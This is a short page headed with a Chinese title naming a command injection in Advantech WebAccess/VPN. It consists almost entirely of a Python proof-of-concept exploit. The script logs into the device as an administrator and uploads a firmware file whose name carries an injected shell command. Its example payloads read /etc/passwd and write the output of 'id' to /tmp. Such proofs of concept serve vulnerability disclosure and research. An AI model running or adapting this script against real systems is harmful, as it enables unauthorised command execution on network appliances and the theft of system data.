CVE-2025-34239: Advantech WebAccess/VPN AppManagementController命令注入漏洞

import requests import sys # CVE-2025-34239 PoC - Advantech WebAccess/VPN Command Injection # Target: AppManagementController.appUpgradeAction() # Authentication required: System Administrator def exploit(target_url, username, password, payload): """ Exploit command injection in AppManagementController.appUpgradeAction() Args: target_url: Base URL of Advantech WebAccess/VPN username: Administrator username password: Administrator password payload: Command injection payload (e.g., '; cat /etc/passwd #') """ # Login to obtain session login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code != 200: print("[-] Login failed") return False # Prepare malicious filename for appUpgradeAction upgrade_url = f"{target_url}/api/AppManagement/appUpgradeAction" # Craft filename with command injection payload malicious_filename = f"normal_firmware.bin{payload}" # Upload with malicious filename files = { 'file': (malicious_filename, b'\x00' * 100, 'application/octet-stream') } try: response = session.post(upgrade_url, files=files, timeout=30) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Payload: {payload}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <payload>") print(f"Example: python {sys.argv[0]} http://target.com admin admin123 '; id > /tmp/pwned #'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] payload = sys.argv[4] exploit(target, user, pwd, payload)